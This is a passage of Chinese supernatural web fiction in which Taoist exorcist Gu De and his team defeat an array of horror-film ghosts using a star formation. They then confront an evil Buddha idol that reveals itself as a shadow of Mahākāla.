扶桑嫂发出一声饱含痛苦与愤怒的凄厉尖啸,转身张开利爪又要扑来,却被于子朗看似随意却蕴含巧劲的一脚正踹在胸口,阴气凝聚的躯体倒飞出去,撞塌了一堆废弃的砖石。
于子朗并未追击,只是持刃而立,眼神平静地看着她,等待她下一次徒劳的进攻。
高彦博与贞子那边的对峙,则是全场最诡异和安静的,但凶险程度丝毫不亚于其他战场。
两人相距十步左右,就这么静静地站着,仿佛两尊雕像,一动不动。
然而,他们之间的空气却在剧烈地波动、扭曲,偶尔能看到高彦博周身散发出的至纯至净的玄阴黑光,与贞子那惨白冰冷、充满了绝望与诅咒的怨念能量在空中无声地碰撞、交锋。
发出细微却令人牙酸的“滋滋”声响,仿佛两种截然相反的极端力量在互相湮灭。
“我感受到了……你那源自井底深渊、跨越时空的沉重怨念,”
高彦博突然开口,声音平稳,看起来还是有些游刃有余。
“这怨恨如同枷锁,将你永远禁锢在痛苦的轮回里。但,这终究不是你将这份痛苦施加给无辜者的理由。”
贞子那被长发遮掩的惨白脸上,似乎极其短暂地闪过一丝迷茫与挣扎,仿佛被这句话触动了某些被封存的记忆。
但下一秒,更深沉、更纯粹的怨毒如同潮水般涌上,将她那一点点人性的涟漪彻底淹没,她的瞳孔变得更加空洞骇人,周身的诅咒之力陡然增强!
最为吃力、险象环生的,莫过于马季、郑立和得仔三人合力对抗鬼修女的小队。
这来自阿妹国的鬼修女,实力强得超乎想象,其散发出的堕落和不祥的气息,源自某个更深层的黑暗维度。
郑立手中那条经过国师神力加持、鞭梢带着紫色电光的打鬼鞭,抽在鬼修女那看似破旧的修女袍上,往往只能留下一道淡淡的、迅速消散的白痕,难以造成实质伤害。
马季射出的破邪箭矢又快又准,但鬼修女要么以诡异的身法如同瞬移般轻松躲过,要么直接伸出那苍白浮肿的手,带着亵渎的黑光,将箭矢凌空拍飞!
得仔刚才挨的那一下着实不轻,他龇牙咧嘴地从地上爬起来,感觉半边身子都麻了,胸口闷得厉害。
“得仔,没事吧?还能撑住吗?”
马季一边紧张地搭上一支新箭,目光死死锁定着飘忽不定的鬼修女,一边快速问道。
“还……还行,死不了!”
得仔吐出一口带着血丝的唾沫,感觉喉咙火辣辣的疼。
“妈的,这洋鬼婆子劲儿真大!跟被泥头车撞了似的!”
他心有余悸地摸了摸还在隐隐作痛的胸口。
郑立面色凝重得能滴出水来,低喝道:
“都打起精神!这东西邪门得很,力量和速度都远超预估!别分散,保持三角阵型!它好像在戏耍我们!”
他敏锐地察觉到,那鬼修女那双完全漆黑、看不到眼白的眼睛扫过三人时,嘴角似乎勾起了一个充满恶意的弧度。
她并不急于发动致命的攻击,反而像是在享受这种慢慢折磨猎物、让猎物在恐惧中崩溃的过程。
古德立于车顶,灵觉将整个战场的局势尽收眼底。
他心中明了,虽然己方暂时凭借大阵之力占据了上风,但像鬼修女、楚人美这些顶尖凶煞极难短时间内彻底消灭,而维持如此规模的周天星斗伏魔大阵,对布阵者和那些提供血气支持的后勤队员都是巨大的负担,必须速战速决,以免夜长梦多。
他不再有任何保留,决心一举定乾坤!
“九天星力,听我号令!汇聚吾身,荡魔诛邪!”
古德声如雷霆,响彻四方!
他全力催动**,身后那星力漩涡旋转速度陡然加快,变得更加凝实!
整个大阵的力量,包括北斗七星之力、四象圣兽之威,以及那最为关键的人道血气,都以前所未有的强度向他疯狂汇聚!
青铜阔剑上
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的光芒炽烈到了极点,剑尖喷吐出尺许长的金色剑芒,吞吐不定,散发出无坚不摧的锋锐之气!
与此同时,他心念一动,通过阵法之间的联系,向最外围的后勤部队员发出了指令。
那些一直默默燃烧自身气血支撑着阵法人道根基的队员们,虽然个体修为微弱,但意志却坚如钢铁。
他们接收到古德的意念,立刻齐声诵念起古老的道门度人经文,声音起初低沉,继而变得整齐划一,洪亮庄严,带着一股涤荡妖氛、护卫人道的浩然正气:
“人道渺渺,仙道莽莽。鬼道乐兮,当人生门。仙道贵生,鬼道贵终。仙道常自吉,鬼道常自凶。高上清灵爽,悲歌朗太空……”
这蕴含着数十人坚定信念的诵经声,仿佛引动了冥冥中的人道气运!
那道原本就粗壮的血气光柱瞬间变得更加璀璨夺目,赤红中带着金光,如同一条咆哮的血色巨龙,轰然注入上空的大阵!
整个周天星斗伏魔大阵得到这股精纯浩大的人道之力加持,威力再上一个台阶!
阵法范围内的星辰之光变得更加沉重,对阴邪之气的压制效果陡然增强了数倍!
“呃啊——!”
阵法威力暴涨的瞬间,林三和杰森首当其冲,同时发出一声闷哼或低吼。
林三只觉得周身空间仿佛凝固,操控黑伞变得异常艰难,伞面上翻滚的黑气被压制得缩回了一大半。
杰森胸前那道剑伤处缭绕的黑色怨气也被星力灼烧得嗤嗤作响,动作更加迟缓,它那面具下的目光,第一次露出了野兽般的焦躁和暴怒。
它们都清晰地感受到了来自古德身上那股即将爆发的、足以致命的威胁!
生死关头,二魔不再犹豫,不约而同地发动了最强的攻击,试图打断古德的蓄势!
林三猛地将手中黑伞掷出!
那黑伞如同一个高速旋转的黑色钻头,带着刺耳的、仿佛能撕裂灵魂的破空声,伞尖直指古德的心口!所过之处,连星辉都被短暂地排开!
而杰森则是发出一声压抑的咆哮,巨大的身躯爆发出最后的力量,迈开沉重的步伐,如同一个人形坦克般朝着古德发起了冲锋!
它双手握持那柄沾满罪恶的**,拖在身后,刀锋与地面摩擦,划出一长串耀眼的火花,气势骇人!
面对这来自两个方向的致命攻击,古德眼中非但没有惧色,反而燃烧起熊熊的战意!
“来得好!”
他大喝一声,声震四野!
非但不退,反而脚尖在车顶一点,身形如离弦之箭,主动迎了上去!
手中那柄汇聚了全场力量的青铜阔剑,带着沛然莫御的恐怖力量,以一式最为霸道直接的横扫千军,悍然挥出!
剑光如练,璀璨夺目,瞬间照亮了这片昏暗的废弃之地,也映出了林三和杰森那写满惊骇的扭曲面容!
第245章 BOSS总是在最后登场的(大章)
“不——!”
林三发出绝望的嘶吼。
剑光掠过,无声无息。
那柄诡异的黑伞率先承受不住,伞骨发出令人牙酸的“咔嚓”声,寸寸断裂,伞面如同被点燃的枯叶,化为飞灰。
星力余势不衰,狠狠撞在林三胸口!
“噗!”
林三如遭重锤击打,口中喷出的鲜血竟带着丝丝黑气,整个人如同断线的风筝般倒飞出去,重重砸在十几米外一台锈迹斑斑的废弃机床上,发出“哐当”一声巨响。
他挣扎着想要爬起,但周身邪气已被星力彻底击散,眼神迅速黯淡下去,抽搐了两下,便再无声息。
几乎在古德解决林三的同时,那巨汉杰森发出一声野兽般的咆哮,无视胸口的剑伤,迈着地动山摇的步伐,双手高举那半截染血**,朝着古德猛扑过来,势要将这伤他之人撕碎!
“冥顽不灵!”古德冷哼一声,看也不看,反手一剑横扫!
这一剑,看似朴实无华,却蕴含着瑶光破军星最纯粹的破灭真意!
剑罡呈暗金色,所过之处,连光线都似乎被吞噬扭曲!
“铛——轰!”
杰森那半截**与暗金剑罡接触的瞬间,先是发出金铁交鸣的巨响,随即竟如同脆弱的玻璃般轰然炸裂!
碎片四溅!
剑罡毫无阻碍地切入杰森那肌肉虬结的胸膛!
这一次,不再是浅浅的剑痕。
暗紫色的破军星力如同最致命的毒素,瞬间侵入杰森不死躯体的核心!
他庞大的身躯猛地一僵,戴着曲棍球面具的头颅高高昂起,发出了一声混合着痛苦、暴怒以及某种仿佛解脱般的低沉吼声!
那吼声不似人声,更似洪荒巨兽的悲鸣。
紧接着,令人毛骨悚然的一幕发生了。
杰森那堪称不灭的身躯,从胸口剑伤处开始,皮肤、肌肉、骨骼如同风化了千年的岩石,寸寸龟裂,化作细密的黑色灰烬,簌簌飘落。
不过眨眼功夫,这尊令人闻风丧胆的杀戮机器,便彻底崩塌,在原地只留下一个焦黑扭曲散发着淡淡青烟的人形印记,以及那副掉落在地、面具眼部空洞望着天空的曲棍球面具。
核心战力被古德以雷霆万钧之势瞬间击溃,剩下的鬼物顿时群龙无首,阵脚大乱!
本就受星阵压制,此刻更是士气崩溃,兵败如山倒!
“妖孽!吃俺老周一棒!”
周星星瞅准楚人美因林三败亡而心神剧震,动作迟滞的绝佳时机,将体内借来的大圣神力催至顶峰!
他周身红光大盛,那根山寨金箍棒仿佛真的化作了擎天柱,带着撕裂空气的尖啸,一式毫无花哨却蕴含万钧之力的力劈华山,结结实实砸在了楚人美的天灵盖上!
“啊——!”
楚人美发出了她在这世间最后一声凄厉的惨嚎!
那凝聚了她无数怨念的鬼体,如同被重锤击中的琉璃,从头部开始,瞬间布满了蛛网般的裂痕,随即“嘭”地一声炸裂开来,化作漫天飞舞的黑色冰晶与浓郁的精纯怨气!
周星星眼疾手快,早已掏出一张特制的紫色高级收鬼符,凌空一展,符纸产生一股强大的吸力,如同长鲸吸水般,将那些试图重新凝聚的怨气悉数吸入其中!
符纸瞬间变得冰凉刺骨,并且自动折叠成一个严实的三角包,被他牢牢捏在手中。
“搞定收工!”
周星星得意地抹了把额头的汗水,将符包在手里掂了掂,脸上露出胜利的笑容,还不忘朝不远处的谢潮挤了挤眼。
另一边,谢潮的超度工作也进入了尾声。
他手中那杆幻化成加特林虚影的打鬼棒,枪口喷吐着蕴含佛力与星力的金色光弹风暴,将残余的那些依靠人多势众的都市怪谈鬼物打得哭爹喊娘,抱头鼠窜。
什么裂口女、无头鬼、影子怪,在如此物理且高效的超度方式下,纷纷化作青烟,彻底净化。
于子朗手中短刃划出的青色流光,在星阵加持下,速度快得只剩残影。
扶桑嫂纵然诡计多端,邪术阴毒,但在绝对的速度和精准的打击下,只能徒劳地挥舞着利爪,身上不断添加新的闪烁着星光的伤口,这些伤口阻止着它的自愈,剧痛让它发出阵阵疯狂的怪叫。
最终,于子朗抓住一个破绽,短刃如毒蛇出洞,精准地刺穿了扶桑嫂的咽喉,将其死死钉在地上,随后一张符纸贴上,彻底了账。
高彦博与贞子的精神层面对决也分出了胜负。
在钟馗宝剑那专克厉鬼的煌煌神威,以及周天星斗大阵无孔不入的纯净星力双重压制下,贞子那无往不利的精神污染和诅咒之力被彻底净化、击溃。
她白色的身影如同信号严重不良的电视画面,剧烈地闪烁、扭曲,发出无声的尖啸,最终“滋啦”一声,如同断电般彻底消散在空气中。
只留下一块边缘焦黑,仍残留着强烈精神污染波动的残破录像带碎片。
高彦博面色凝重,迅速取出一个特制的铅盒,小心翼翼地将碎片封存起来,贴上了数张镇灵符。
最棘手的鬼修女,在郑立、马季和得仔三人的拼死配合下,也终于被拿下。
郑立以打鬼鞭舍身缠绕,限制其行动。
马季游走四周,刻满“镇”字符文的箭矢如同连珠炮般射出,得仔虽然修为最浅,但也鼓起勇气,看准时机,用打鬼棒猛击其关节等薄弱处。
最终,在郑立一鞭将其捆成了粽子下,马季一支破邪箭精准射穿其眉心,瓦解了其核心怨力,得仔赶紧上前,套上针对西方恶魔的黑色麻袋,然后用特质的墨斗线密密麻麻的捆绑下来。
“我的妈呀……这、这洋鬼子修女真够劲……”
得仔一屁股坐在地上,大口喘着粗气,脸色煞白,握着打鬼棒的手还在微微颤抖,但眼神中却多了一丝经历生死考验后的狠厉。
战场迅速被打扫干净。
所有被消灭的鬼物残骸都被小心处理,被收服的则贴上符箓,装入特制的封鬼箱。
众人虽然个个带伤,气喘吁吁,但脸上都洋溢着胜利的喜悦和疲惫后的放松。
周星星甚至
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已经勾着谢潮的肩膀,开始唾沫横飞地吹嘘自己刚才那惊天一棒是如何的威猛。
然而,就在所有人都以为这场惨烈的战斗已经落下帷幕,紧绷的神经稍稍放松,准备开始收拢阵旗、解除大阵、撤离战场的时候——
异变陡生!
“咚…咚…咚…”
那沉重、整齐、黏腻得令人极度不适的脚步声,再次从废弃工厂那幽暗的入口方向传来!
这一次,声音比之前更加清晰,更加密集,仿佛有成千上万的人踏着同样的步伐,由远及近,带着一种碾碎一切生机的死寂韵律,狠狠地敲击在每个人的心脏上!
紧接着,便是那诡异、癫狂、仿佛能直接侵蚀灵魂本源的诵念声,如同决堤的洪水般汹涌而来,瞬间淹没了战场上所有的余音和欢呼!
“火佛修一,心萨呒哞…火佛修一,心萨呒哞…火佛修一,心萨呒哞…”
这诵念声不再是模糊的背景杂音,而是变成了无数人贴在耳边、用尽生命最后力气的嘶吼!
声音中蕴含的不再是单纯的邪异,而是一种狂热的、绝对的、摒弃了一切自我的虔诚!
听到这声音,就连周星星脸上的笑容都瞬间僵住,一股寒意从尾椎骨直冲天灵盖!
古德脸色骤变!
他感受到一股远比林三、杰森乃至所有鬼物加起来还要恐怖的气息,正随着那脚步声和诵念声逼近!
他猛地抬手,厉声喝道:“所有人!戒备!不准收阵!回到原位!”
他的声音如同惊雷,炸醒了沉浸在胜利中的众人。
谢潮、周星星等人脸色剧变,虽然不明所以,但对古德的绝对信任让他们瞬间压下疲惫和疑惑,以最快速度各就各位,死死握住手中的法器,紧张地望向入口处。
古德深吸一口气,双手结印,强行压下体内翻腾的气血,全力运转周天星斗大阵。
他没有选择封闭阵法,反而在入口处打开了一条狭窄的生路。
这看起来又是从他们来的,放他们在外面,还不如主动请君入瓮!
在众人紧张到极点的目光注视下。
几十个,不,或许有上百个穿着普通、甚至有些破烂的男男女女,如同提线木偶般,迈着那完全一致的诡异步伐,他(她)们眼神空洞麻木,脸上没有任何表情,仿佛失去了灵魂。
这群男男女女肩扛手抬,簇拥着一座被巨大的腥红如血的厚重布幔完全覆盖的,高达四米以上的沉重物体,正缓缓地地穿过阵法通道,踏入这片刚刚被星力净化过的战场。
那血红色的布幔,在星辉下泛着不祥的光泽,上面用暗红色丝线绣满了扭曲、怪异的符文,仿佛有生命般在缓缓蠕动。
布幔之下,散发出一种混合着香火、腐朽、以及某种庞大恶意交织在一起的恐怖气息!
随着这座雕像的进入,整个周天星斗伏魔大阵,竟然发出了不堪重负的“嗡鸣”声,运转都出现了瞬间的凝滞!
天空中的星图光芒黯淡了几分,四方圣兽的虚影也发出了不安的低吼!
第246章 大黑佛母
那几十个扛着雕像的人,如同提线木偶般迈着整齐划一又令人毛骨悚然的步伐,缓缓走入星阵笼罩的战场中心。
他们的眼睛空洞无神,仿佛被吸走了灵魂的玻璃珠子,脸上肌肉僵硬,没有任何属于活人的表情,只有嘴唇在一张一合,机械地、一遍又一遍地诵念着那邪异癫狂的咒文:
“火佛修一,心萨呒哞…火佛修一,心萨呒哞…”
这声音在空旷的废弃工厂里回荡,听得人心里发毛。
周星星忍不住搓了搓胳膊,小声嘀咕:“这念的什么玩意儿,跟和尚念经似的,但又邪门得很。”
随着这群人越走越近,可怕的事情发生了。
他们的脸色以肉眼可见的速度变得灰败,皮肤失去了光泽,像是被抽干了水分。
有个年轻小伙子的头发甚至开始变得花白,脸上爬满了皱纹。
他们就像是被那尊雕像吸走了生命力,变成了行尸走肉般的躯壳。
谢潮看得直皱眉:“这邪门玩意儿在吸他们的阳气。”
这群被完全操控的躯壳在古德前方约三十米处停下,动作整齐得如同一个人。
诵念声戛然而止。
整个工厂顿时陷入一片死寂。
这种死寂比刚才的鬼哭狼嚎更让人窒息。
风声、远处城市的喧嚣、甚至就连己方人员粗重的呼吸声,都仿佛被这股无形的死寂吞噬了。
空气粘稠得如同水银,压得人喘不过气。
下一秒,异变陡生!
覆盖雕像的那面腥红绣满扭曲符文的厚重布幔,毫无征兆地“呼”地一声,凭空燃起了幽绿色的火焰!
这火焰没有一丝热度,反而散发着刺骨的阴寒,瞬间将布幔吞噬殆尽,化为飞灰,露出了下面那尊令人san值狂掉的存在!
那是一座高达四米、通体呈现一种不祥暗金色的六臂佛像!
佛像的造型古怪而亵渎,躯干、六条手臂、乃至那模糊不清、似笑非笑、似怒非怒的面部,都密密麻麻、层层叠叠地布满了无数只半开半阖的眼睛!
这些眼睛大小不一,瞳孔的颜色也各不相同,有的猩红如血,有的幽绿如鬼火,有的漆黑如深渊,它们仿佛都拥有独立的生命和意志,在微微转动、眨动,瞳孔中闪烁着贪婪、怨毒、疯狂、以及一种亵渎世间一切美好事物的邪光!
仅仅是注视它,就让人感到头晕目眩,心底最阴暗的恐惧和欲望被无限放大,灵魂仿佛都要被污染、撕裂!
“我的妈呀……”得仔倒吸一口冷气,下意识地后退半步,“这、这是什么鬼东西?”
古德的瞳孔猛地收缩,脸色变得无比凝重。
从刚才那句诡异的祷文,还有眼前这个佛像的样子,他立刻认出了这东西的来历。
“大……黑……佛……母……!”
他一字一顿地说出这个名字,声音里带着前所未有的警惕。
古德怎么也没想到,怪谈协会真正的幕后黑手,隐藏得最深的底牌,竟然是这位!
没道理啊,电影里的大黑佛母怎么也看不出有这么大的能量。
这看起来已经完全超出了普通鬼怪的范畴,是一尊真正踏入了邪神领域的恐怖之物!
就在雕像完全显露真容的瞬间——
“轰!!!”
一股肉眼可见的漆黑邪力场,以雕像为中心,轰然爆发,向四面八方疯狂扩散!
邪力所过之处,坚实的水泥地面瞬间沙化、腐蚀,冒出滋滋的黑烟。
空气中弥漫开一股浓烈刺鼻混合着诡异檀香与腐烂尸骸的怪味,令人作呕。
之前被星辰之力净化的空间,再度被更深沉、更绝对的恶意
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笼罩!
天空的星图都黯淡了几分,四象圣兽的虚影发出了痛苦而不安的咆哮!
“呃啊——!”
“噗!”
几乎在邪力场爆发的同一时间,周星星、谢潮、于子朗、高彦博、郑立、马季、得仔……所有异灵灵异的成员,无论修为高低,全都如遭重击!
修为较浅的如得仔,直接一口鲜血喷出,脸色惨白如纸。
修为高些的如谢潮、周星星,也是齐齐闷哼,身形踉跄,感觉自己的大脑像是被无数根烧红的铁针疯狂穿刺,眼前幻象丛生,耳畔充斥着亵渎的呓语,心底最阴暗的欲望和恐惧被无限放大、引诱!
周身运转的法力瞬间变得滞涩不堪,仿佛陷入了无边无际的的邪力泥沼,连站稳都变得困难!
就连天空中那四象圣兽的宏伟虚影,都在这滔天邪威下发出了痛苦的哀鸣,光芒剧烈闪烁,变得明灭不定,仿佛随时都会崩溃!
全场除了古德还能站稳脚跟!
他周身金光咒自主运转到极致,浓郁如同实质的金色光芒形成一道护罩,将他牢牢护住,将那无孔不入的邪恶意念和力量强行隔绝在外,如同**中屹立不倒的礁石。
但他也能清晰地感受到,这尊邪佛带来的精神污染和法则层面的压制,远超之前所有鬼物的总和!
“不能让它继续施压!”
古德心念电转,知道必须立刻打断对方的势场压制,否则队友们顷刻间就会有性命之忧!
他伸手一挥,体内五脏身神所化的小神通运转,阳五雷瞬间施展出来。
只见他掌心迸发出道道纯白色的雷光,如同一条条灵蛇,劈向大黑佛母的雕像!
“轰隆!”
雷光与邪力碰撞,发出震耳欲聋的巨响,总算是打断了大黑佛母持续施加的精神压迫。
第247章 战大黑佛母
与此同时,古德深吸一口气,声如洪钟,朗声诵念出道家八大神咒之首,拥有净化天地、扫荡凶秽无上伟力的净天地神咒:
“天地自然,秽气消散。洞中玄虚,太元晃朗。八方威神,使我自然.......凶秽消散,道常存。”
这净天地神咒乃是八大神咒之首,威力非同小可。
随着他每一个字清晰吐出,都引动周天星斗大阵与之共鸣!
他此刻已踏入**境,法力磅礴浩瀚,远非昔日可比!
净天地神咒的真正威能,开始展现!
只见以古德为中心,一道纯净柔和,却蕴含着净化之力的清圣光波,如同水纹般荡漾开来!
光波所过之处,那粘稠漆黑的邪力场如同阳光下的冰雪,发出“嗤嗤”的异响,迅速消融、退散!
空气中那檀香混合腐尸的怪味被涤荡一空,取而代之的是一种雨后山林般的清新气息!
天空中的星图重新变得璀璨,四象圣兽虚影也稳定下来,发出舒畅的咆哮,协助净化邪氛!
在阵法和神咒的双重威力下,那恐怖的邪力场被硬生生逼退,压缩回大黑佛母雕像周围不足两米的范围之内!
“所有人!退守副旗位!抱元守一,稳固心神,将力量注入旗幡,助我维持阵法根基!”
古德趁此机会,立刻厉声喝道。
他的声音如同醍醐灌顶,同时净天地神咒也将众人从邪念侵蚀中惊醒。
众人这才从痛苦中缓过劲来,虽然心有余悸,但还是立刻依言后撤,迅速退到各自对应的北斗副旗位置,盘膝坐下,拼命催动体内残存的力量,注入旗幡之中,勉强维系着周天星斗大阵不至于立刻崩溃。
周星星一边往旗位跑一边抱怨:“这玩意儿比考试还折磨人,我刚才差点以为我要挂了。”
谢潮苦笑着摇头:“别贫了,集中精神。阿德一个人顶着呢。”
他们此刻能做的,就是相信古德,为他提供最后的支持。
战场中央,只剩下古德一人,独自面对那尊散发着滔天恶念的六臂千眼邪佛。
他手持青铜阔剑,周身金光与星辉交映,宛如神人。
“咯咯咯……”
一阵非男非女、仿佛万千冤魂哀嚎、又似无数僧侣诵经重叠在一起的诡异笑声,从雕像那无数张合的嘴唇中传出,直接响彻在古德的灵魂深处,试图撼动他的心神。
“渺小的……蝼蚁……竟能……抵挡……吾之神威……有趣……你的灵魂……定然……美味……”
“不过是一个淫祀出来的佛像成精,也敢妄自称神?”
古德冷哼一声,青铜阔剑遥指佛母。
“乖乖束手投降,我给你找个好地方!十八层地狱风水不错,包吃包住,还有专人看管。”
远处的周星星听的差点笑出声,被谢潮瞪了一眼才憋住。
“亵神者……死!”
佛母的声音陡然变得尖利刺耳,充满了被冒犯的暴怒!
雕像那六条布满眼睛的手臂猛地舞动起来,每一条手臂都结出一个法印,引动截然不同却同样恶毒诡异的力量,如同**般向古德袭来!
一条手臂结印,引动大破灭法印,一道充满死寂、衰败气息的灰光轰向古德!
一条手臂操控地面残余邪气,化作无数狰狞鬼爪从地下袭来,抓向古德脚踝!
一条手臂洒下漫天腥臭扑鼻、腐蚀血肉与灵魂的黑色咒雨!
一条手臂挥动,空间都仿佛变得粘稠如胶,极力限制古德的行动!
一条手臂指向天空,邪力化作无形触手,试图干扰甚至强行夺取周天星斗大阵的控制权!
最后一条手臂则重重拍向地面,引动更深沉的地脉秽气,化作毒瘴从四面八方涌来!
六臂齐出,攻势涵盖了精神、物质、能量、空间等多个层面,歹毒无比
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,瞬间将古德的身影淹没!
“来得好!”
古德眼中非但没有惧色,反而战意高昂!
他将周天星斗大阵的力量与自身**境的修为结合催发到极致!
古德脚踏七星罡步,身形在方寸之间幻化出无数残影,玄妙莫测。
手中青铜阔剑或劈或挑,或刺或格,将一道道攻击精准拦下!
金光咒护体,万法不侵。阳五雷轰鸣,至阳破邪。荡秽七式施展,剑罡纵横捭阖,将鬼爪斩碎,咒雨蒸发,毒瘴驱散!
他更引动四象圣兽之力加持己身。
青龙之愈快速恢复着精神层面的冲击与肉身的细微损伤,白虎之锐加持着剑罡的锋锐无匹,朱雀之火焚烧着一切邪祟秽气,玄武之盾抵御着法则层面的侵蚀与空间束缚!
这场面看得远处的众人目瞪口呆。
周星星喃喃自语:“我的乖乖,阿德这是开挂了吧?”
谢潮则是一脸凝重:“别分心,维持好阵法。阿德这是在拼命了。”
这大黑佛母展现出的实力,恐怕已接近此方世界所能容纳的巅峰,足以媲美一些较弱的地府鬼王!
但古德凭借周天星斗伏魔大阵的地利,以及自身扎实无比的**境修为和层出不穷的道法,竟以一己之力,与这尊邪佛斗得旗鼓相当,甚至凭借阵法和道法的精妙配合,隐隐占据了上风!
他抓住一个机会,引动北斗注死之力,一道暗紫色的毁灭星芒如同天罚之剑,狠狠劈在雕像的一条手臂上!
“咔嚓——嘣!”
那条布满邪眼的手臂,应声而断!
断裂处黑烟滚滚,发出仿佛无数人同时惨叫的嘶鸣,断臂化作缕缕精纯的邪气消散在空中!
“啊——!!蝼蚁!你竟敢……伤我法身!!”
佛母发出了惊天动地的痛苦尖啸,那无数只眼睛中同时流露出刻骨的怨毒与一丝难以置信的惊惧!
第248章 怎么还有反转
法身被创,邪力溃散,大黑佛母彻底疯狂!
它那无数只邪眼中迸发出歇斯底里的怨毒光芒,原本还算稳定的暗金身躯开始剧烈扭曲、膨胀,散发出极度不稳定的危险气息!
“亵神者……接受制裁吧!”
癫狂的意念如同海啸般冲击着每个人的脑海。
它竟是不顾一切地开始燃烧自身最本源的核心邪力!
那是它积攒了不知多少岁月、吞噬了无数生灵怨念才凝聚而成的根基!
轰——!!!
整个六臂千眼邪佛雕像,猛然爆发出比之前强盛十倍不止的漆黑光芒!
这光芒粘稠如墨,充满了最纯粹的堕落与毁灭意志,所过之处,连空间都发出了不堪重负的呻吟!
原本璀璨的星辰光幕被这恐怖的黑暗急速侵蚀、压缩,发出“滋滋”的刺耳声响,光芒迅速黯淡下去!
四象圣兽的虚影发出了痛苦的哀鸣,变得虚幻不定,仿佛随时都会崩散!
“不好!它要拼命!阵法要撑不住了!”
退守副旗位的谢潮嘶声大吼,嘴角溢出的鲜血更多了。
周星星、于子朗等人更是面如金纸,拼尽全力注入旗幡的法力如同石沉大海,阵法反噬的力量让他们露出痛苦之色。
古德首当其冲,感受到的压力最为巨大!
那滔天的邪力如同万丈海啸般向他压来,周身的金光咒护罩剧烈波动,发出刺耳的摩擦声。
古德心里一沉,知道不能再拖下去了。
再这样耗着,别说降妖除魔,怕是连阵法都要被这鬼东西给污染了。
“只能如此了!”
古德当机立断,咬破舌尖,一股腥甜味在口中弥漫开来。
他“噗”地一口,将本命精血喷在青铜阔剑上。
“嗡——!”
沾染了纯阳精血的青铜阔剑,仿佛被注入了灵魂,发出了龙吟般的震鸣!
剑身之上出现的北斗七星图案以前所未有的亮度闪耀起来,与天空中摇摇欲坠的星图产生了强烈的共鸣!
与此同时,古德双手紧握剑柄,将其高高举起,脚踏七星,口诵最终敕令,声音如同九天惊雷,炸响在即将破碎的阵法空间之中:
“周天星斗,听吾最终敕令!星辰归墟,万法寂灭,混沌返元——炼!”
这是周天星斗伏魔大阵的终极变化,一旦施展,阵法本身也将彻底瓦解,将所有力量瞬间爆发出来,化作毁灭与重生并存的降魔之力,是与敌偕亡的终极手段!
敕令既出,阵法响应!
“砰砰砰砰——!”
布置在四周的所有北斗副旗,以及更外围的二十八宿圣兽旗,在这一刻齐齐承受不住那狂暴的力量灌输,纷纷炸裂开来!
化作最精纯的星辰能量,如同百川归海般,疯狂涌向阵法核心!
天空中的星图以前所未有的速度疯狂旋转,最后凝聚成一道无比粗大的融合了四象之力的混沌光柱,轰然降临!
这景象看得周星星心头一紧:“我靠,这是要同归于尽吗?”
谢潮脸色发白,但还是强自镇定:“别慌,阿德肯定有分寸。”
而地面上,由六十六名后勤队员血气汇聚的纯阳柱也冲天而起!
天地之力,星辰之辉,人道血气,在这一刻被古德以自身为引,以青铜古剑为媒介,强行糅合、压缩在了邪佛雕像的头顶上方!
一个微小的、仅有拳头大小、却散发着让所有人灵魂战栗气息的混沌黑洞,凭空出现!
黑洞缓缓旋转,吞噬着周围的一切光线、声音乃至能量,散发出最原始的、归于虚无的恐怖吸力!
它的目标,直指那尊燃烧着漆黑火焰的邪佛!
“不——!”
佛母发出了绝望而不甘的尖啸,庞大的邪佛法身被那无可抗拒的吸力拉扯着,一点点脱离地面,朝着那代表终极毁灭的黑洞投去!
“给我进去吧!”
古德大喝一声,黑洞的吸力骤然增强。
它周身燃烧的邪力如同遇到克星般飞速消散,那无数只邪眼中终于露出了恐惧的神色!
“赢了?”得仔抹了把汗,脸上露出一丝喜色。
就连一向沉稳的高彦博也松了口气:“看来是结束了。
退守后方的周星星等人,脸上刚刚露出一丝劫后余生的希冀。
然而,就在那邪佛法身即将被黑洞彻底吞噬、碾碎的最后一刹那——
异变,超出了所有人想象的异变,发生了!
那尊疯狂挣扎的六臂千眼邪佛,动作猛地停滞了。
它身上那歇斯底里的怨毒与疯狂,如同潮水般迅速褪去。
那无数只闪烁着邪光的眼睛,瞳孔中的色彩统一变成了某种极致的、冰冷的、漠然的……仿佛高踞九天之上、俯视众生如蝼蚁般的……神性!
那感觉,就像是一个泼皮无赖突然变成了高高在上的帝王,虽然还是那个躯壳,但内在已经完全不一样了。
“凡物……安知……神之伟力……”
一个更加古老、恢弘、仿佛来自宇宙初开时期的声音响起,不再是之前那重叠嘶吼的诡异腔调,而是带着一种洞悉法则本质的威严。
这声音不高,却清晰地传入每个人的脑海深处,让人不由自主地心生敬畏。
下一刻,在古德骤缩的瞳孔注视下,那尊邪佛雕像……轰然
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炸裂!
但炸开的,并非普通的碎片!
而是无穷无尽仿佛浓缩了整个世界负面情绪的漆黑怨气!
这些怨气在空中并未消散,反而如同拥有生命般疯狂地汇聚、压缩、变形……
最终,在所有人难以置信的目光中,一尊更加庞大、更加凝实、通体漆黑如墨、仿佛由最纯粹的黑暗雕琢而成的黑佛法相,凝聚成型!
这尊黑佛,不再是雕像的死物,而是拥有了近乎真实的实体!
它高达十米,盘坐虚空,周身缭绕着暗红色的业火,唯有那密密麻麻、遍布法身各处的眼睛,闪烁着冰冷无情的暗红邪光,俯瞰着下方如同蝼蚁般的众人!
这尊黑佛法相散发出的威压,让刚刚形成的混沌黑洞都剧烈震颤起来,吸力大减!
整个周天星斗大阵残存的结构发出了濒临崩溃的呻吟,星辰光幕寸寸碎裂!
谢潮、周星星等人更是如遭重击,齐齐喷出大口鲜血,气息瞬间萎靡到了极点,连站立都变得困难!
黑佛缓缓低头,那无数只暗红邪眼,同时聚焦在了古德身上。
它开口,声音如同万古寒冰,带着吞噬世界的漠然野心:
“吾乃……玛哈嘎拉之影……此界……当为吾之……资粮……便是汝等……坏吾谋划?”
玛哈嘎拉!(Mahākāla)
这个名字如同惊雷,在古德脑海中炸响!
译为大黑天,乃是佛教,特别是藏传佛教中一位重要的**神,兼具慈悲与忿怒相,亦是智慧的象征。
然而,眼前这尊自称其影的存在,却充满了极致的邪恶、堕落与吞噬一切的欲望!
一瞬间,古德脑海中许多之前无法解释的谜团,仿佛被一道闪电照亮!
这个世界为何灵气衰退,为何诡异事件层出不穷,为何会有怪谈协会这种组织暗中推动……
原来,这一切的背后,很可能都是为了供养这尊试图吞噬整个世界的邪佛化身!
它散播恐惧、收集怨念、制造诡异,恐怕是为了将这个世界转化为祂的佛国!
这是古德根据炁体源流里的知识,推测出来的。
具体是不是,还有待考量,目前主要是对付眼前的邪佛。
这个邪佛怕是已经掌控了一些这个世界的规则。
